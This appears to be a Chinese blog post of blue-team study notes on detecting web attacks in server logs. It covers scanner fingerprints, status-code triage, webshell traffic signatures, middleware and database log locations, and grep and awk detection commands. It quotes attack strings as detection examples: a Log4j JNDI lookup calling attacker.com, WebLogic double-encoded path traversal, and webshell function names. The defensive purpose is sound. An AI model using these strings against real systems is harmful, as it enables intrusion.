最近在准备护网面试,但是看到csdn上面很多日志分析文章都收费,当然也有不收费的方法,但是直接看不是方便点?我大概搜集一下共同的知识点目录,整理一篇笔记供参考
一、 协议基础:HTTP 请求字段
一个完整的 HTTP 请求头部包含以下常见的字段:
Request Line(请求行):包括请求方法、请求的资源路径和 HTTP 协议版本,格式为:
<METHOD> <URL> HTTP/<VERSION>。例如:
GET /example HTTP/1.1
Host:指定目标服务器的主机名或 IP 地址。
例如:
Host: www.example.com
User-Agent(UA,用户代理):发送请求的用户代理信息,用于描述客户端的软件应用程序、操作系统等。
例如:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
Accept:指定客户端可以接受的响应内容类型,使用 MIME 类型。
例如:
Accept: text/html, application/json
Accept-Language:指定客户端可以接受的语言类型。
Accept-Encoding:指定客户端可以接受的内容编码方式,用于压缩传输的数据(如
gzip, deflate)。Connection:指定是否需要持久连接(
keep-alive)。Referer:指定当前请求的来源页面的 URL,用于跟踪链接来源。在防盗链绕过、CSRF 攻击分析中是核心审计字段。
Content-Type:指定请求体的媒体类型(如
application/x-www-form-urlencoded或application/json)。许多反序列化与文件上传漏洞的 Payload 会直接隐藏在此处。Content-Length:指定请求体的长度(字节数)。
二、 步骤一:基于字符串特征的攻击工具识别
在初筛阶段,通过已知的工具指纹(特征字符串)进行快速检索,可以瞬间识别出大量的自动化攻击行为。
如果在日志中(尤其是User-Agent或URL 参数)发现下列字符串特征,可以直接确认为对应的攻击工具:
1. AWVS 扫描器(Acunetix Web Vulnerability Scanner)
特征字符串:
acunetix_wvs_security_test或acunetix表现形式:通常出现在 URL 参数、Cookie 或自定义请求头中,用于探测漏洞的存在性。
2. Appscan 扫描器
特征字符串:
Appscan表现形式:多见于 User-Agent 或特定的测试路径参数中。
3. sqlmap(自动化注入工具)
特征字符串:
sqlmap表现形式:在默认未修改的情况下,其 User-Agent 中会包含
sqlmap/X.X#stable。此外,URL 中常伴随有boolean-based blind(布尔盲注)、UNION ALL SELECT等高频测序语句。
4. curl(命令行工具)
特征字符串:
curl表现形式:User-Agent 中发现字符串
curl(Linux 环境中用的多)。常用于红队手工验证漏洞连通性,或作为命令执行后下载恶意脚本(如一键木马下载)的客户端指纹。
三、 研判核心:HTTP 状态码的实战判定
2xx 成功(高危审计区)
200 OK:请求成功。若请求行中包含whoami、select、../等恶意攻击特征且返回 200,说明攻击大概率成功或产生了回显,属于一类高危事件,必须立刻人工复现。
3xx 重定向(业务流追踪)
302 Found/301 Moved Permanently:临时/永久重定向。在暴力破解分析中,如果大量 200(登录失败提示页)后突然出现一个 302(跳转至后台 index 页面),通常意味着密码已被成功爆破。
4xx 客户端错误(探测与拦截判定)
403 Forbidden:服务器拒绝请求。通常表明攻击 Payload 被安全设备(WAF)或中间件自带的权限策略成功拦截。404 Not Found:资源未找到。攻击者在进行敏感目录爆破(如盲猜/.git/、/config.bak)时,会产生铺天盖地的 404 日志。
5xx 服务器错误(代码层崩溃)
500 Internal Server Error:服务器内部错误。在 SQL 注入(尤其是报错注入)或 Java 反序列化攻击中,畸形的输入经常导致后端解析器崩溃,从而触发 500 错误。不能盲目认为 500 就是失败,部分盲注和命令执行同样会触发 500。
四、 攻击行为谱系分析
1. 漏洞扫描
扫描器(如 AWVS、Appscan)的字典基数极大,进行盲扫时,绝大多数目标路径不存在,
行为特征:来源地址相对固定,短时间内请求量暴增、且 404/403 占比高达 90% 以上
2. 暴力破解
字典碰撞
研判技巧:密切观察响应体的长度(Content-Length)。
如果数千条高频 POST 请求响应长度完全一致->应长度突变(如 342 字节,或直接 302 跳转),说明该条请求已爆破成功。
3. Webshell(大马/后门脚本)
什么是大马:功能极全的单文件后门,具备文件管理、执行系统命令、执行数据库操作等完整权限。
行为特征:
访问频率孤立且低频:人为控制访问频次极低
页面孤立性:该脚本文件(如
system.jsp、index_backup.php)不存在任何正常页面链接指向它。GET 或 POST参数及特征码外露:大马交互传递执行命令
常见木马指纹提取:
传统大马:恶意函数调用,如
eval(base64_decode、shell_exec、assert等。冰蝎(Behinder):
v3.0 阶段:经典的传输特征是密钥协商阶段,
旧版本中其 Accept 字段具有非常独特的固定格式h和权重(如
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)。流量侧:全密文传输,但在日志层表现为对同一个孤立文件(如
shell.jsp)持续发起相同长度的 POST 请求。
哥斯拉(Godzilla):
Cookie 字段最后经常带有一个分号(
;),其生成的响应体长度具有固定的特征比例。
五、 资产视角:常见中间件及日志审计
1. Tomcat
日志默认路径:
$TOMCAT_HOME/logs/重点审计对象:
localhost_access_log.YYYY-MM-DD.txt:标准访问日志,记录 IP、时间、请求行、状态码、发送字节数。catalina.out:标准系统输出日志。当系统遭遇Java 反序列化攻击或Structs2 漏洞时,此日志会暴露出大量的Java 报错堆栈信息(如
java.io.ObjectInputStream),是排查代码层失陷的重要依据。
2. Weblogic
日志默认路径:
$DOMAIN_HOME/servers/$SERVER_NAME/logs/重点审计对象:
access.log:常规 Web 访问日志。核心安全关注点:Weblogic 默认开放 7001 端口。红队经常利用T3 协议或IIOP 协议发行反序列化攻击(如 CVE-2020-14882 后台任意命令执行)。这类非HTTP 的流量需要结合主机的系统日志或网络全流量设备(天眼等)进行辅助审计。
3. Nginx
日志默认路径:
/var/log/nginx/或/usr/local/nginx/logs/重点审计对象:
access.log:访问日志。可通过修改nginx.conf里的log_format字段,强制让其记录$http_x_forwarded_for(真实源 IP)和$request_body(POST 请求体,但通常出于性能考虑默认关闭)。error.log:错误日志,用于排查畸形请求或缓冲区溢出攻击。
4. Apache
日志默认路径:
/var/log/apache2/(Linux) 或$APACHE_HOME/logs/(Windows)重点审计对象:
access.log与error.log。其日志格式多采用标准 CLF(通用日志格式)。
5. IIS (Internet Information Services)
日志默认路径:
C:\inetpub\logs\LogFiles\W3SVC1\防守方避坑指南:IIS 日志默认采用W3C 扩展日志格式,其记录的时间是UTC 时间(格林威治标准时间)。在护网现场进行时间线溯源时,必须将 IIS 日志中的时间手动加上 8 小时。
六、 数据层视角:三大主流数据库日志分析。
1. MySQL
查询日志 (General Log):默认关闭(因其极度消耗系统性能)。
若开启,将记录所有连接SQL 语句。如果开有此日志可精准锁定红队拿走了哪些数据。
错误日志 (Error Log):默认开启,记录数据库启动、运行、停止过程中的异常。红队尝试利用
udf.dll提权导致进程崩溃时,此处会有报错留存。
2. SQL Server (MSSQL)
审计方式: Windows事件查看器中的“应用程序日志”或 MSSQL 自身的“错误日志”。
重点关注特征:重点审查是否有高危存储过程被激活并调用的记录,尤其是
xp_cmdshell(该存储过程可以直接通过 SQL 语句调用 Windows 系统的 cmd 执行命令,是 MSSQL 提权的标志)。
3. Oracle
审计日志 (Audit Trail):通过配置
AUDIT命令,将安全事件记录在系统表SYS.AUD$中,或直接写入操作系统的.aud文件。重点关注特征:大厂核心数据常部署于 Oracle。应重点审计对
DBA_USERS敏感用户表的变动,以及频繁利用SYS高级权限执行非常规数据泵导出(Exp/Imp)行为。
七、 实战演练:常见中间件漏洞的日志“弹孔”
1. Apache Log4j2 远程命令执行漏洞(CVE-2021-44228)
日志特征:在访问日志的任何可输入字段(最常见于 User-Agent、URL 参数、X-Forwarded-For)中,包含字符串
${jndi:ldap://或${jndi:rmi://。真实日志示例:
Plaintext
192.168.1.100 - - [07/Jun/2026:21:00:01 +0800] "GET /index.php HTTP/1.1" 200 4522 "${jndi:ldap://attacker.com/vps}" "Mozilla/5.0..."
2. Struts2 远程代码执行漏洞(如 S2-045)
日志特征:攻击者利用 OGNL 表达式引发注入。恶意 Payload 会隐藏在 HTTP 请求的Content-Type字段中,内部包含大段以
#ognl、multipart/form-data、java.lang.ProcessBuilder构成的 Java 链式调用代码。
3. Weblogic 任意文件上传/未授权命令执行
日志特征:在访问日志中,会出现针对特殊业务路径的未授权连续请求。例如针对
/console/css/%252e%252e%252f(利用二次 URL 编码绕过权限验证)的请求,且紧随其后出现对未知 JSP 文件(如/bea_wls_internal/shell.jsp)的POST 200请求。
八、 步骤三:特征检验、分类线索与扩线分析
1. 全局关联分析四步走
[源IP聚合] ---> [时间线回溯] ---> [状态研判(定性)] ---> [网络拓扑横向拓网]
1.锁定源 IP,进行全量聚合:过滤单一源。
当发现某个 IP(如 47.X.X.X)触发了 sqlmap 拦截日志后,立即在全局日志中过滤该 IP 的所有访问记录。
2.时间线回溯(还原攻击剧本):行为排序。
按时间先后顺序(Timeline)排列该 IP 的动作:
• 20:00:00 - 大量 404,进行敏感目录扫描。
• 20:15:00 - 出现大量针对/index.php?id=的复杂 SQL 盲注语句(sqlmap 特征),状态码为 200。
• 20:20:00 - 出现对/upload.php的 POST 请求,状态码 200。
3.检验攻击结果,进行定性分析:失陷判定。
重点排查 20:20:00 文件上传后的行为。如果在 20:21:00 日志显示该 IP 开始访问/uploads/1.php且返回了 200,并且后续该路径下伴随着持续的、低频的 POST 交互。
【结论】:系统已被成功打入 Webshell,彻底失陷,触发高危预警。
4.网络拓扑横向拓网(扩线追击):同源拓扑扩散。
同 IP 拓网:检查该恶意 IP 是否还对内网/DMZ 区的其他相邻服务器发起过连接。
同特征(威胁情报)拓网:若红队中途更换了代理 IP,但其自定义的 User-Agent 或者是大马特有的请求体长度没有发生改变,可以通过这些“不变量特征”作为关键词,在日志中全局检索,揪出红队潜伏的其他跳板 IP。
九、 蓝队兵器谱:常见日志分析工具
1. 文本利器
EmEditor:支持打开多达数 GB 的超大文本文件,其内存优化极佳,具备极其强大的正则表达式查找和高亮功能。
Notepad++ / VS Code:适合查看中小体量的中间件配置日志。
2. 离线自动化分析小工具
360星图 (LogAnalyzer):经典的离线日志自动化分析脚本。导入 Nginx/Apache 的
access.log,即可全自动跑出一份漂亮的 HTML 报告,自动分类出 SQL 注入、XSS、海外 IP、恶意扫描的 Top 排行。
3. Linux 命令行三剑客(应急响应最高效武器)
在 Linux 服务器一线现场,grep、awk、sort是最快速的分析法。
实战命令示例:快速统计访问量前 10 名的 IP(极速定位扫描器或爆破源):
Bash
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -n 10实战命令示例:在日志中快速检索是否存在 Log4j2 攻击:
Bash
grep -Ei "jndi:(ldap|rmi|http)" access.log
4. 体系化全局作战系统 (SIEM)
ELK Stack (Elasticsearch + Logstash + Kibana):通过 Logstash 实时全量解析服务器、WAF、防火墙日志,打入 Elasticsearch 建立索引,最后在 Kibana 大屏上通过强大的 Lucene 语法进行多维度的图表化关联审计,是大厂蓝队作战指挥部的标配。